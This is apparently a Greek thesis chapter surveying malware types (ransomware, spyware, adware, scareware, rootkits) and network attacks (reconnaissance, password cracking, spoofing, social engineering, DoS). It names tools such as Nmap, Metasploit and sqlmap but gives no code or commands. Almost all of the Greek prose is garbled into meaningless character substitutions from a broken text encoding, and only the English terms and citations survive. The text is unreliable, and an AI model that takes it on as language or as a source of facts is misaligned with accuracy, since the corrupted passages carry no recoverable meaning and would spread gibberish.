[Mopdyet otov thread actor gvaicOnta TpocwTKA dedopéva,
OT®G KMOKOLG TpdPacng.

Destructive Kotaotpéper 1 dwypdpet apyeia.
(Kataotpentikoc)
Xpnoonotetl Tov VTOAOYIGTY) TOL YPNOTN — BOUOTOC MG
Proxy YN Yo vo e£0moAVEL EMBECELS 1] VO KAVEL OTTOI0VONTOTE
€100VG TOPAVOLES dPACTNPIOTNTEG.
FTP Evepyomotet un e€ovorodotnuéveg vanpecieg petapopaig

apyeiov.

Security software disabler
(Amevepyomotel To oot
AcPOAELnG)

Yropoatdet ta mpoypaupata antivirus ) to firewall (toiyog
TPOGTOGiog) omd To Vo €ivol AETOVPYIKA.

Denial of Service (DoS)

EmiBpadvvel ) mavet ) dpactnptdtnTo ToOL SIKTHOV.

Keylogger

Emyepel evepyd va vmokAEyeL EUTIGTEVTIKEG TAT| POPOPIEC,

OTMOC 0P1OLOVG TICTOTIKMOV KOPTMOV, KOTAYPAPOVTOS TO
TATNUO TOV TANKTPOV OV £Y0VV 1600l G€ Lo pOpua
IoToTOMOV.

(Evotnta 2.1.A) RANSOMWARE

Ot thread actors ypnoiomotovv 100g, worms, kot Trojan Horses ywoo va petapépovv 1o
COQEMIO POPTIO» TOVE KOL Yo SPOPOVS AAALOVG KakOPBovAovg Adyovs. QotdGo, TO
KakOPBovia Aoyopd cvveyilovv va eEedosovtol (ESET, y.x.).

Kvpiapyo kaxdBovio Aoyiopwd amotelel to Ransomware. To Ransomware omoteAetl éva
KakOBovAO AOyoUIKO TO omofo amotpémel TV TPOGROCT TOL YPNGTN GTO LOALGUEVO
VROAOYIOTIKO cvoTH /Kot oto dgdopéva tov. Ot kuPepvo—eykinpatieg (cybercriminals)
OTTOTOVV GUVEYMG KATO0 YPNUATIKO OVTITIHO Y10 TNV OTEAEVOEPMOT TOV VTOAOYIGTIKOD
ocvotpatog tov xpnotn (ESET, x.x.).

To Ransomware &yet e€ehyBel pe oxomd vo yivel 10 Mo keEPIOPOPO KAKOBOVAO AOYIGUIKO
omVv wotopia. 10 TpmdTo &dunvo tov 2016, &ywvav kapmdvieg yw to Ransomware mov
aPOPOVSAV TOGO LELOVOUEVOLS, 000 Kat eTauptkovg ypnotes (ESET, y.x.).

Yndpyovv dekadeg mapariayés evoc Ransomware. To Ransomware ypnoylomotet cuoyva évov
aAyOPIOUO KPLTTOYPAPNONG YO VO UTOPEl Vo KPLTTOYPOPEL apyeio Kot dedoUéEVAL TV
VITOAOYIOTIKOV cvotnuatov. H misovomta tov olyopiBuov kpumtoypdenong mov
ypnoyonowHv to. Ransomware degv givat €0KOAO GTO VO AmOKPLTTOYPOPNB0VV, e GKOTO VoL
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unv aenvovy mepidpla 6Tovg ¥pNoteg — BopoTa, TEPO and 10 Vo TANPOGovY 10 {NTovUEVO
1066. Ot TAnpoués yivovtal cuvnbwg o Bitcoins, 10Tt Tovg mapéyet avovopia. Ta Bitcoin
etvat éva ymoeloko, avorytov Kddika (open — source) VOUIoHO, TO 0010 KovEVAG OV KOTEXEL
kot kavévag oev eAéyyel (ESET, y.x.).

Ta Email kot ot kakdBovleg dtapnuicels, yvootéc kKot ¢ malvertising, givar mbavoi gopeig
Ransomware. To Social Engineering ypnowomnoieite eniong omd tovg cybercriminals, ot
0mo{01 TaPOVGLALOVV TOV EQVTO TOLG MG TEXVIKOL AGPAAEING, KAAOVY GTA GTTIO TV YPTOTOV
Kot Toug meiBovv var cuvdehohv pe TV 16T0cEAIdA OV TOVG divouv, 1 omola «kaTeRAlE
(download) to Ransomware 6to vrtoloyiotikd cuotnua tov xpnotn (ESET, y.x.).

(Evotnta 2.1.E) AAAOI TYIIOI KAKOBOYAOY AOT'TEMIKOY

Yrdpyovv pepikd mopodetypota amd motkilo KokoPovAa AOYIGUIKA.

1. Spyware.

Xpnowonoteitar, cuvilwe, Yy TNV KOTOYPOQE] TANPOPOPIDOV CYETIKA HE KATO10
YPNOTN, KOL TNV OITOCGTOAN] QLTOV TMOV TANPOPOPLDY GE KATOLN GAAN OvTOTNTA, XWPIC
mv ovykatdbeon tov ypnotn. To Spyware cvAAéyel onpaviikd Kol TOAVTLO
dedoévVa, OTMG KMOKOVS TPOSPAoTG Kol OEGOUEVO OTKOVOLUKOD TEPLEYOUEVOV, XWPIG
TN GLYKATAOESN TOV ¥PNOTI, KOl T0 GTEAVEL GTOV «EIGPOAENY. Oewpeite o amd TIg
Mo eMKivOLveg Kotnyopieg KakOBovAov AOYIGUIKOD, TO OToio €xel oYedl0oTEL pE
OKOTO TN HVoTIKOTNTA Kot TV avOektikdtnto. Ot emrtiBépevol, ykafiotodv dvadiKa
apyeio (binaryfiles) tov Spyware, otov 0N mopaflocuévo VITOAOYIGTY|, LE OKOTO TNV
VTOKAOT TOAVTIL®OV TANPOPOPIDV, XWPIG VO YIVOUV avTIANTTTOL amd TOVG YPNOTEGS.
Me ovtd tOV TPOTO INUOLPYOHV Eva KPLEO KOVAAL, ONUIOLPYOVTOS £TCL Lo
poakpompdbeoun ohvoeon Ue TOV LIOAOYIOTH TOv Ypnotn — Oduatog (Javaheri &
Hosseinzadeh & Rahmani, 2018).

2. Adware.

To Adware, eivar éva xokofovio Aoywopkd mov gpeavilel cvvnBwg evoyAnTikd
avaovopeva mtopddvpa (pop — ups), pe okomd TN dNpovpyio €660V GE AVTOV TOL TO.
napdyel. To kKakOBovAo, ovtd, Aoyiopukd pmopel va avoADGEL To EVOLIPEPOVT TOV
YPNOTAOV, TOPAKOAOLODVTOS TOVS 1GTOTOMOVS TOV EMIGKEMTOVTOL XTN| GUVEXELD,
pmopet va oteilel avadvopeva mapdbupa pe ddpopeg dtapniicelg mov oyetiCoviot pe
VTOVG TOVG IGTOTOTTOVG OV EMGKENTETOL O YPNOTNG. Ta TEPIGGOTEPA TPOYPALLLOTOL
adware ko1 spyware omoKTOVTOL apykd pLe mepmynon otov Iotd N pali pe kdmolo
bdoyxeto Aoywopkd mov vrootnpileton amd  dwgnuiceic. Ta  mpoypapparto
eykabioctavtor omdvia amd Evov EULEAVT] IGTOTOTOV, OAAL HOALOV LEGH SlopMUicE®V
socialengineeringbanner kot pécm SKTVV peer-to-peer e moPATAAVNTIKE OVOLOTO
apyeiov. Opopéva mpoypdupata adware kot spyware €ykodictavtolr oKOUn Kol e
™mv ekpetdArevon gvmabeimv Aoyispkov (Chien, 2005).
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3. Scareware.

To xaxo6Povio Aoyiopkd, Scareware, €ival €vo AOYICUIKO OTATNG TOL YPTCLULOTOLEL
Kuplog socialengineering yw. vo. COKAPEL N VO TPOKOAEGEL GyyoC ©TO YPNOTH,
onuovpydviog Vv 1Wéa pwog ameidng. To Scareware, elvar €vag amd TOLG
TPOCOATOVG TOTOVG KAKOBOLAOL AOYIGUIKOD OV UTOPEL VO ATOTEAEGEL OTKOVOLIKEG
anelhég kabmg kol omellég mov pmopovv vo oyetilovtor pe 1o oamdppnto. To
Scareware, avVTITPOGMOTEVEL £QAPUOYEG amdAtng mov ocuvhfwg petopuEEfovior g
EPAPLOYEG aoPaAEing, OTMS AoYIGHIKG TpooTaciog (y anti — malwaresoftware 1 mo
oLYKEKPEVOL anti — virussoftware). Avtd¢ o TOmog KakOBovAov AOYIGHIKOV, £ivol
€101KE KATOOKEVUGUEVOG MOTE VAL TEPIAAUPAVEL YEVTIKEG COAPWDCELS KO EIOO0TOUCELS.
Emniéov, pmopel va epeaviCer yedtikeg Aloteg poivouéveov apyeiov.Ararteitot
aAANAemidopaon e Tov ypnotn Otav to Scareware davépeTol LEc® socialengineering.
Mo 1o okomd avtd, ot dwenuicelg eite omootéAlovtol pHéc® spam e-mail gite
dnuocievovtal e SNUOPIAEIS 10TOTOTOVG KOWmVIKAG Oktomwong (Shahzad &
Lavesson, 2011).

4. Phishing

Me 10v 0po phishing evvoolue 11§ avtopatomomuéves emBEcel; mov GToxevoOLV
pikpotepa. ovvora Bvudtov. Me 1 ypnom phishingattacks, o cybercriminal,
npoomabel vo. TEIGEL TOVG YPNOTEG VO TOL OMOKAAVWOLV O1dpopes gvaicOnTeg
minpogopiec. Tlapadeiypota meptiapBdvoov tm Aqyn kamolov email and Tpdmeleg
TOVG, OV {NTA OId TOLVG YPNOTES VA ATOKAAVYOLV TOV aplOUd TOV AOYOPLOGLOV TOVG
N akopa kot tov appd PIN tovg. Me v cuveyn evaicOntomoinomn tov ¥pnotodv Kot
TOL KOWOU GYETIKA UE TETOLEG AMENEC, €IVOL AMOPOITNTO YO0 TNV OKOOOUNON €VOG
0CQPOAEG GUOTLOTOG EVOVTL TETOIWV EMOECEWV.

5. Rootkits

Ta Rootkits yopiloviar cvovibwg ce dvo kortnyopieg: rootkits ce usermode ko
rootkitkernelmode. To 7teAevtaio avimpocwmmevel éva Mo €EEAYUEVO KOUUATL
KOOIKA, TO 0Toil0 amotel TOAAEG YVMGELS TPOYPOUUATICHOV Kot E0IKEIMON UE TOV
mopnva. tov Windows. Ta Rootkits eykobictavior oe éva 1Mom mopafrocpévo
VROAOYIOTIKO cvoTnpo. Metd v gykatdotact) Tov, eEakorovBel vo amokpimTel TV
€6POAN TOV GTO GUOTNUA TOL XPNOTN, TAPEXOVTOS ETGL L0 TPOVOULNKT TPOGPaon
otov threatactor (Florio, 2005).

H Alota 6o cvveyioet va peyokdvel kaBaog to dadiktvo eEehicoetat. Néa €idn kakdfoviov
Aoyopkov, Ba eEakorovBovy va avarntuccovtatl. ' avtd 10 Adyo, Evag KOPLog 6TdYOG TV
emyelpNoev KuPepvoacparelog ivor va pdbovv yio 1o kaOe véo KakOBOVAO AoyioHIKO Kot
TOVG TPOTOVG LLE TOVS OTOIOVG VO TO PLETPLAGOVY ALEGAL.
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(Evotnta 2.1.2T) KOINEX EYMITEPI®OPEYL KAKOBOYAQN AOTTEMIKQN

Ot cybercriminals, TPOTOTOWVV GLVEXDS TOVG KAOJIKEG TOV KOUKOPBOLA®V AOYIGHIK®V, WE
oKOTO Vo 0AAAEOLY TOV TPOTO HE TOV OTOI0 £EOMAMVOVTOAL KOl LOADVOLV TOVS VTTOAOYIGTEG.
Qo10600, TO MEPIGCOTEPU TOPAYOLV TOPOUOI. GUUTTMOUATO TOL UTOPOVV Vo aviyveLfovv
HES® NG TapaKoAoHONONG apyeimV KaTOypaPNg SIKTHOL Kol KOTOYPUPG CUGKEVMV.

Ot vmoloyiotég mov £xovv poivvoel pe Kakdfovio Aoylopukd cuyvd epeavilovv mapdéeva
apyelo, mpoypdupoata 1 €wwovidol oV emPdveln epyaciog 1 Kamowo oapyeio vo €xouvv
dwypapei | tpomomomBei. Eppavilovv maympa e 006vng 1ov vmoAoy1oTY], KOAANUATOG TOV
ocvotiuatog Kot ovénuévn xpnon CPU 1 kot tng pviung, TpofAnuoto cuvoeong ota diktoa,
OT®OC Kot apyEC TOVTNTEG TOV VTOAOYIOTH 1| TOV TPOYPOUUATOV TEPMYNONG GTOV 16TO.
Emuméov, ta anti-virus xou ta firewalls cvyvd amevepyomolobviar 1 S10pope@VOLY TIg
pvOuioelg tovg ek véov. Mmopoldv va mopatnpnfodv eKTEAEST AYVOOTOV SlEPYACIOV KOl
vIpectdv Kabhg kot dvotypo Bvpodv TCP 7 UDP. Tivoviar cuvdécelg pe KeEVIPIKOVG
VIOAOYIOTEG 0710 Awdiktvo yopic v evépysla Tov ypnotodv, O6mo¢ kot email mov
amooTéEAAOVTOL GE dTopa TG AMOTAG TOV ETAPDV TOV HE Ayvolo TOL XPNOTH. YTAPYEL YEVIKA
Tapa&evn coumeplpopd tov voAoyloth. Ot vroloyiotég eppovifovv éva M Ko Topomdve
Omd TO TOPATAVED CUUTTOUOTA, XOPIG OPMS va Teptopiloviot HOvo ce avTd.

2.2 TYIIOI EITIOEXZEQN AIKTYOY (NETWORK ATTACKS)

To xak6Povrio Aoylopkd givor €va HECO Yoo TNV TOPAO0oT) EVOC MPEAUOL POPTioV. OTOV
nmapadobel ko eykatoaotabel, 10 OEEMPO @opTio pmopel va ypnopomombei yuo v
TPOKAAEGEL i, ToKIAMa emBéoemv mTov oyetilovtar pe To 0ikTLO 0md To ecmTEPIKO. Ot threat
actors pumopovv emiong va enttefovv 6to 61KTLO 0o EEW.

Yrdpyovv mokida kivntpo yio to omoio ot threat actors emitiBevion oe diktva, OT®G TO
YPNUOATIKO avTiTio, 1 omAnotio, 7 €KOIKNoM 1 oKOUO TOAITIKEG, OpNOKELTIKES Ko
Kow@vworoyikés memodnoels. Ot ewdwkol mdve oto Oépa g acediewng tov diktdwv, Ba
TPEMEL VAL KATOAVONGOLV TOVG TPOTOVG €MBECEMY, Ol OMOiOL YPNGYLOTOOVVTIAL Yo TNV
OVTYETMOTICT] OVTAOV TOV OTEDV, PLE 6KOTO TN O1c@AAon g acedielog tov LAN.

o va pmopécovpe va petprdoovpe T€To0L €idovg embéoeg, eivar oNUOVTIKO Vo
KaTnYoplomonfovv ot d1dpopot TVTOL TV EMOEGEDV TOV JIKTV®V. Mg TV Katnyoplonoinon,
etvar duvatdv vo aVIWETOMOTOVV 01 TOmol Tov emfécemv, ovili vo mpoomabodpe va
OVTETOTICOVLE KAOE eMiBeoN (G PLEPOVOUEVT.

[Topdrio mov dev vapPyEL KATO0G GLYKEKPYEVOG TPOTOG KATYOplomoinons tov embécemv
SIKTOOV, UTOPOVLE VO TOPOTNPHCOVUE TPEIG HEYOAeS Katnyopieg: Reconnaissance Attacks
(Avayvopiotikég Embéoeig), Access Attacks (EmOéoeig IIpdoPaong) war DoS (Denial of
Service) Attacks (EmBéoeic Apvnong Yanpeoiov).
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(Evotnta 2.2.A) RECONNAISSANCE ATTACKS

O1 Reconnaissance Attacks eivat ovolaotikd cuAAoyn TAnpoeopidv. ['a vo yivel mo gdkoro
katavontd, Bo dmcovpe éva moapddetypo evog kAEeTn. Omwg, Aowmdv, ot KAEQTEG
napakorlovBodv onitio, pe 6Komd va BPouvv To T EVAAMT Y10 VO LTOPEGOLY VO LITOVV KOl
va To. KAEYOoLV, LE ToV 1010 Tpdmo Aettovpyel Ko 1 dodikaoio tov Reconnaissance Attacks
(Computernetworkingnotes, 2021).

O threat actors ypnotuomolovv Reconnaissance Attacks (] aAlwg Recon), pe okond va
OVOKOADYOLV KOl VO, YOPTOYPOPTICOVV GUCTNHLOTA, VINPEGIES, 1| EVAA®MTA oNpeia, Ywpig TV
e£ovo1000tNon Tov avdioyov ypnotn. Ot Reconnaissance Attacks mponyovvtot twv ACCess
Attacks 11 tov DoS Attacks (Computernetworkingnotes, 2021).

[Moapaxdtw, TepypAPOVTOL OPICUEVES OO TIG TEXVIKEG OV YPNGILOTO0VVTOL atd Tovg threat
actors yio ) de&aymyn Recon Attacks (Computernetworkingnotes, 2021).

TEXNIKEX HEPII'PA®H

Exteleite éva epdtmpa
mAnpopopidv (informationquery)
v €va, 6TOY0

O threatactor avalnté TAnpopopieg oyeTIKd e Evav oToYO.
Mropovv va ypnoonombody diapopo. epyareia,
ocvumeprropPavouévne me avalmong Google, tov
10TOTOTOL OPYOAVIGL®Y, TOL Whois Kot GAA®V.

Exkivnon pog odpwong ping Tov
S1KTOOV TPOOPICLOD

To information query cuvn0w¢ amokaAvmTet T devbvvon
dwctdov tov otdyov. O threat actor umopei Tdpa va
EeKIVAGEL oL GAPMOT) ping Yo Vo TPOGO10PIcEL TOlEG
dtevBuvoerg IP sivan evepyéc.

Exkivnon pog cdpwong Bvpag
(portscan) gvepydv devbivoewv IP

XpNOHOTOLEiTaL Y0 VO TPOGAIOPIGTOVV Tote BVpeG 1
vanpeocieg etvan dSwwbéopec. [opadelypata portscanner givon
ta eENg Nmap, SuperScan, Angry IP Scanner, kot
NetScanTools.

Extédeon capotdv eumabelog
(Vulnerabilityscanners)

AvT0 yivetal yio va e£€Ta0TOOV avayvoplopéves 00pes yia
va TPocdlop1oTel 0 TOHTOG Kot 1 £KS00T TNG EQAPLLOYNG KoL
TOL AELTOVPYIKOY GUGTNLLOTOC TOL EKTEAEITOL GTOV
vroloywoty. [lapadeiypata tétowwv epyoleiov
neptrapPavovy ta Nipper, Secuna PSI, Corelmpact, Nessus
v6, SAINT, kot Open VAS.

Extéheon epyareiov
ekpetdAievong (exploitation tools)

O threat actor mpoomafel va avakaivyel evnddeeg TV
VANPECLDY OV UITOPOVV VO EKUETOAAELTOVV. YTTApy oLV
mowila epyaieio ekpetdAlevong evtadeldv Omwe
Metasploit, Corelmpact, Sqlmap, Social EngineerToolkit,
wat Netsparker.




(Evotnta 2.2.B) ACCESS ATTACKS

Ot Access Attacks eivatl yvootég yio TV EKUETAAAELOT TOV EVAAOTOV oNUEiOV d1dPopOV
VINPESIOV EAEYYOVL TawTOTNTAG, VINPEstdV FTP kot vanpeosidv web. O Pacikdc okomdc
ALTAOV TOV TOTOV EMBECEDVY, Eival 1 aTdKTNON TPOGPOCNG 6€ AoYaplacHovs Tov Bpickovton
otov loto, o€ gumiotevtiKég Paoelc dedopuévav aAld Kot og GALEG evaicOnTec TANpOoPopies.

O1 threat actors ypnoyomotovv Access Attacks ce cvokevEG SIKTOOV Kol VITOAOYIOTEG, WE
OKOTO VO OVOKTHGOVY OE00UEVO, VO OTOKTNGOLV TPOSPacn 1 Vo avENCOVY To SIKOLMLLATOL
TpOGPaoNG OV £YEl KATO10G G dayEPLoTc Tov cvothuotog (bartleby, n.d.).

1. Password Attacks.
Ye wa Password Attack, o threat actor mpoomabei va avokaldyel onUOVTIKODS
K®OKOVG TPOGPAcNS GUOTHLATOS, XPNOYWOTOLOVTOS d1dpopeg peBodovs. Eivar moAv
ocvvnOwopéveg embéoelg Kol pmopovv va ypnoipomomBovy motkida epyoreion evpeomng
Kkodwmv (cracking tools). H pébodog tov Password cracking, sivat po pébodog mov
Bacileton 6t0 va povtedel v emifeorn. Ymapyovv tpeic tOHmol tétorwv pebddwmv
(Tasevski, 2011):

» Dictionary (Ag&ikd). Kavie kepolaio t0 mpdTo ypdupo, tpocbicte tpio

ynoeio 6to TEA0G, OALAETE TO YPAUUO KO OE «(@» K.AT.

» Hybrid (YBp1dwod). IIpocBéter oamhovg apBuodg M oduPoro otnv
Tpocmadelo EDPECNC TOV KOOKOV TPOSPaoTC.

» Bruteforce (Bioung emifeong). Ov embBéoeic bruteforce eivar kidopata and
TIG TeEMKEG AEEELG mOL yivovTol omd TOLG YPNOTEC MOV ONUIOVPYOLV TOVG
K®OKOVE TOVC.

2. Spoofing Attacks
Ye embBéoeig spoofing, m ovokevn tov threatactor emyeipel vo mopovolootel ©g
KAmoto, GAAN GLOKELN, Le OKOTO TV TTapamoinotn Twv dedopévav. Ot kowég spoofing
attacks mepirapfavovv IPSpoofing, MACSpoofing, kot DHCPSpoofing.

3. Alhow Tomor Access Attacks
AAlot tomor Access Attacks mepilappavovuy trust exploitation, wov 0étovv og Kivouvo
évav o&OMGTO VTOAOYIGT] YPNOUOTOIDVTAG TOV Yo VoL Opyavadcel emBEcels o€
GAAovg vmohoyotég og éva diktvo (Orbitco, 2015a). M enibeon ovakatevbvvong
Bvpag (Port Redirection Attack) eivat évag dAlog tomog enifeong mov PaciCetor oty
EKUETAAAEVOT EUMIOTOCLVNG, KOTA TOVv omoio o e€PfoAréag ypnoyomolel Evav
TAPAPLUGUEVO KEVIPIKO VIOAOYIOTN Y10 VO OTOKTNGEL TPOGPacn HEcw €vOG TElXOVG
npoctaciog mov dwpopeTikd Oo amokieiotei (Orbitco, 2015b). H eniBeon "Man in
the Middle” (MITM) eivon évag yevikdg 6pog yuo 6tav évag dpaotng tomobeteiton o
pio cuvopdMo peta&h evog ¥pNoT KO LG EQPOPUOYNG, EITE Y10 VO KPUQOKOVEL EITE
vy vo. vrodvbel évo amd To PEPN, KAVOVTAG TO VO QOIVETOL GOV L0 KOVOVIKN
avtaAlaynq mAnpoeopidv Bpicketon oe eEEMEN (Imperva, n.d.b). Xtig emBéceig buffer
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overflow, o1 ewPolreic expetodredovion (mmuate  vrepyeidong  buffer
AVTIKOOIGTOVTOG TN UVAUN KOG EPOPUOYNG, LE aVTO TOV TPOTO aAAALEL TN ddpoun
EKTEAEONC TOL TPOYPOLLOTOS, EVEPYOTOLUDVTOS L0 OOKPION OV KOTOOTPEPEL TOL
apyeio 1 ekbéTeL TIC TPOGOTIKES TANpOoPopies (Imperva, n.d.c).

(Evotnta 2.2.1") SOCIAL ENGINEERING ATTACKS

To Social Engineering amotelel pia eniBeon mpoécPacng, n omoia emyepel va yepaymynoet
TOVG XPNOTEG, UE OMOTEAECUO VO EKTEAECOVV EVEPYEIEC 1] VO AOKOADWYOLV EUTICTEVTIKEG
TANpogopieg Kot dedopéva. OPIGUEVES TEYVIKEG EKTEAOVVTOL OVTOTPOCMOTMG, EVD KATOEG
GAAEG pmopel va xpNGYOTO0VV T0 TNAEP®VO 1 T0 Al0diKTLO.

Yuyva Paciletor ommv wpobopio tov avlpdOTOV Vo eovoLV YPNOYOL 1] AKOUO KOl OTIG
advvopieg tovg. Qg mapdaderypo umopovue voa Oéocovue €vav threat actor, o omoiog Oa
UTopoVGE VO KOAEGEL KATOOV VITAAANAO L1OG OTTOLOONTOTE ETOUPIOG KO VO, TOV OVOPEPEL
Kémolo moAV emetyov mpOPAnUa 10 omoio ypNLel AUEONS OVTILETMMIONG TOV OTOLTEL AUEST
mpdcPaon oto diktvo (Avayvwotomovrog, 2021).

[Mapoxkdto Bo dodue TANPOPOpPiec Yoo peEPKEC TEXVIKEG TOV agopovv emiBécelc Social
Engineering.

1. Pretexting.

To pretexting opiletor g (o wpdén onuovpyiog evog emvonuévov cevapiov, He
okomd o threat actor va meicel TOV GTOYELOUEVO YPNOTN LE GKOTO VO TOPAUOMCEL
TANPOPOPIES 1| VO EKTEAEGEL KATOWL EVEPYELD. XE OPICUEVEC TEPIMTMGELS, UTOPEL VoL
ONMOVPYNGEL U0 EVTEAMS VEN TOVTOTNTO, KO GTI] GLUVEYELD VO YPTCLLOTOUCEL OVTN
TN VEO TOVTOTNTO Y10 VO XEPAYWYNOEL TO YPNOTN UE OKOTO TNV EVKOAN ANYN aVTOV
TV TANpoeopldv. Eivar évag mapdyoviag ameling, mov tpocmoteital 6Tt ypetdleton
TPOGMOTIKA 1] OIKOVOUIKA dedopéva e okomd v emPefaioon g TovTtdOTNTAG TOL
ypnot (Hadnagy, 2010).

2. Phishing.
To phishing (mAektpovikd yépepa) eivar évag tonog enifeong oto diktvo, 6mov o
threatactor dnpovpyet va yebtiko avtiypaeo pog Non vrdpyovsas 16ToGEAdAS, e
OKOTO VO TOPOTAAVIGEL KATO0 YPNOTN TOL AWSIKTOOV HE OMOTELECLO VO TOV
amoondoel mpoocomkég mAnpoeopiec. To phishing eivoar évag  cuvovaouog
socialengineering kot TeYViKOV peBOOWV pe okomd va meicel 1O YpNoOTN Vo
OTOKOADWEL TO TPOSOMIKE Tov dedopéva. Ilpaypatomoteiton cuviBwc pe Email
spoofing 1 avtoAlayr GUEC®OV UNVOUATOV. ETOYXEVEL KUPIMG GE YPNOTEC MOV OEV
EYOUV TIG amopaitnTeG YVAOOEL, Yo TETOWL €100Vg emBéoelg kol ac@AAE GTO
Awdiktvo, Omwg Yo mopdostypo Gtopo mov O0gv @povtilovv va mopEYOLV TO
aroppnto tv otoyeiov tovg (my Facebook, Gmail, tpanelicoi Aoyoplacpoi, Kot
dALov gidovg owkovopkoi Aoyaplacpot). Eivat, ovclaotikd, Evog mapdyoviog onetidy
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OV GTEAVEL SOALOL UNVOLLOTO NAEKTPOVIKOD TaYLOPOUEIOV TTOV Eival KpuUUEV MG OO
vopn, afdmot) myn Yy vo EQMOTNCEL TOV TOPUANTTY] VO EYKOTOGTHOEL
KOKOBOVAO AOYIGUIKO GTN GLGKELN TOL N Y10 VO LOIPOCTEL TPOCMOTIKEG 1) OTKOVO LUIKES
mAnpogopiec (Gupta & Singhal & Kapoor, 2016).

Spearphishing.

To Spear-phishing expetoAdevetal v gumIcTOoLVN TOV AvVOpOTOV KOl TO
anoteléopoto pmopel va eivarl kataotpoekd. Eivor por dkpog otoyxsvduevn enibBeon
7OV TPOSAPUOLETAL Y10 CLYKEKPIUEVES OUASES aTOU®Y 1) opyavicumy (Parmar, 2012).

Spam.

I'vootd ko o¢ avemBount aAinioypaeio (junk email), eivar avemBdunto email
mov  ovyva mepiEyovv  emProPeic  ocvvoéopove,  koKOBovAo  AOYIoUIKO M|
TOPATAAVNTIKO TEPLEYOUEVO.

Something for Something.

Amoxaieiton Ko o¢ "quidpro quo”, og avtr| Vv enifeon, o threat actor mopovcidleral
ocuvNlmg oToV AVLTOYINGTO YPNOTN MO VIAAANAOG TEXVIKNG VANPESIOG Kol OmoTel
evaicOntec TANPOPOpPies Yo TNV EMTVYN EMIALGT TOV TPOPANLATOG 1} TV TPOSPaoN.
O threat actor 6toygvEl GTO VA HOADVEL TO GTOYELVOUEVO GUGTNO, TPOCPEPOVTOG
Bonbew otov ypnotn—Oopa, 10 omoio aviyetomilel TEYVIKEG dVOKOALEG (NTOVTOG
TPOGOTIKEC TANPOPOPIEG GE OVTOAAAYLLO Y10l TV AVIYUETDOTICT) TOV TPOPANLLOTOG.

Baiting.

To baiting eivor pia emiBeon evpelag KAlpoKag mOv eKTEAEiTOL PEC® TNG XPNONMG
OldIKTLOK®OV  dlapnpicemyv kol  160TOTOTOV. AvTtd  TEPAOUPAVEL  OPIoUEVOVC
16TOTOTOVG TTOV EMTPETOVY GTOV YPNOTN VO TPOYUOTOTOMGEL AYN 1 avadLOUEVA
mapaBovpa Tov wyvpilovtal OTL £x0VV eVTOTIGEL Eva TPOPANUA UE TO GUOTNUOA TOV
Odpotog, to omoio B Avoel KAvoviag KAMK G6TO  ovodvOpEVO  TapdaBupo.
AkoAoVO®OVTOC TOVG GUVOEGHOVG OV TTOPEXOVTOL, EVOL LUNYAVIO YPNOTN WITOPEL Vol
Kkatefaoel avtopato KakdBovAo Aoyiopkd. ‘Eva axkdpo mapddetypa givarl dtav €vog
threatactor agnoet éva flash drive poAvopuévo pe éva kakdBfovio AoyIGUIKO G€ KAmoto
onuodcla tomobecia. To Bopa Ppioketl to flash drive kar to €6dyel 6TOV VIEOAOYIGTN
0V, &ykafoTOVTOG 0Kovol To  kakOBovAo  Aoyiopkd  (XATZH, y.x.).

Impersonation.

To impersonation mailel onuavtikd poOAo o1 MEPocdTEPEG AmO TIG AmeNéG social
engineering, Onw¢ phishing, kAomn tavTOTTAG, OvEMOOUNTN OoAANAOYpaPia
(spamming), Katackoneio kol avtiotpopeg embéceic. Etvan éva gldog enifeong, €vag
threat actor mpoomoteiton 6Tt gival KATO10G GALOG Y100 VO KEPSIGEL TNV EUTIGTOGHVN
evog Bopatoc.
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8. Tailgating.
To tailgating eivar n wpd&n ¢ mopakoAoVONoNg €vOg avumoyinsTov avOp®TIVOU
oTOYOL pe VOUN TTPOCPOCT HECH WIOG OCQOAOVG TOPTAG GE £vaV TEPIOPICUEVO
x®po. O ewoPoréac pmopel vo {ntmoet amd 1o BOpa vo Kpatnoel Ty TOpTo N Uropet
OmAG Vo TNV TACEL Ko Vo, Umel Tpwv KAgioel, N 6tav évag threat actor akolovOel
ypyopa €vo €£0VG1000TNUEVO GTOUO GE W0 0CPOAN TOToOesio Yo VO OTOKTNOEL
npocPaon og o acpain tepoyn (Cybertalk, 2021).

9. Shouldersurfing.
Xe avtn Vv mepinton, o threat actor xkortdlel v amd TOV MUO KATOOV Yol VO
KAEYEL TOVG KMOWKOVG mpdsPacne N dAkeg mAnpoopieg tov. Amotedel pio omAn|
KAaoon enibeon, ywpig T ypnon g texvoroyiag (Katie Terrell, 2021).

10. Dumpsterdiving.
Amoterel oty ovoia v dwdikacio Tov akoilovdel évag threat actor, yayvovtog ce
«KOAOOVG QTMOPPYUUATOV» TOV YPNOTOV, TPOCTOODOVTOS VO AVOKOADYEL O1IPOpa
EUTIOTEVTIKA £yypaga 1| evaicOntec mAnpogopiec (Techslang, n.d. a).

To Social Engineering Toolkit (SET) oyedidotnke yia va Ponbnoet tovg white hat hackers
Kol GAAOVG emayyEAUOTIEG ACQPAAELNG OIKTVWV Vo Onpiovpyovdv emibBéoelg tHmov social
engineering pe okomd va. doKAcovv ta d1kd Tov diktva. ITpoopiletarl yio exkmadevTikovg
okomo¥E, YU avtd 10 AdY0 givan eAevBepa drobéoipo oto dadiktvo (Tutorialspoint, n.d.).

‘Etot, Aoutdv, ot emyelpnoelg Ba mpémel v EKTOOEVOVY TOVG VITOAANAOVS TOVG GYETIKA e
TOVG KvOOVovg Tov social engineering, Kol VO OVOTTUGCOLV GTPOATNYIKEG YO TN CWOOTN
TAVTOTOINON HECH TNAEP®MVOV, email 1] I TOTPOSOTMG.

(Evotnta 2.2.A) Denial of Service (DoS) Attacks

M eniBeon Denial of Service (Apvnong Yampeoiag), 1 aAlung DoS attack, dmuovpyet
KAmo1ov €100VG SOKOTNG VANPESIOV TOV OIKTOOV GE YPNOTEC, GLOKELEC N ePapuoyEs. Ot
emBéoeic DoS etvar amd tig mo dnpoeiieic pebdoovg e16foAng, mov cuyvd mpokalel peydieg
OUKOVOLLIKEG OTTMOAELES Kol EMTTAOGELG.

Ynrdpyovv dvo kOplot tomot emBécewv DOS:

1. Xvvrpurtiki) mocotnta emokeyipotnrog (Overwhelming quantity of traffic)
O threat actor otélvel (o tepdotion moocdtnTa dedopévov e €va diktvo, og éva
VROAOYIOTIKO cOOTNUO 1 OE KAmOW €PApPUOYN, To. omoio Ogv pmopodv va TO
dwxeptotovy. Me awtd tov TpdTO, dnovpyeite emPpAdvven Tov ¥POVOV LETAIOOTG
Kol 0mOKPIoNG ToV cVoTNHATOS. Eva axdpa TpoPAnua mov pmopei vo dnpiovpynoet,
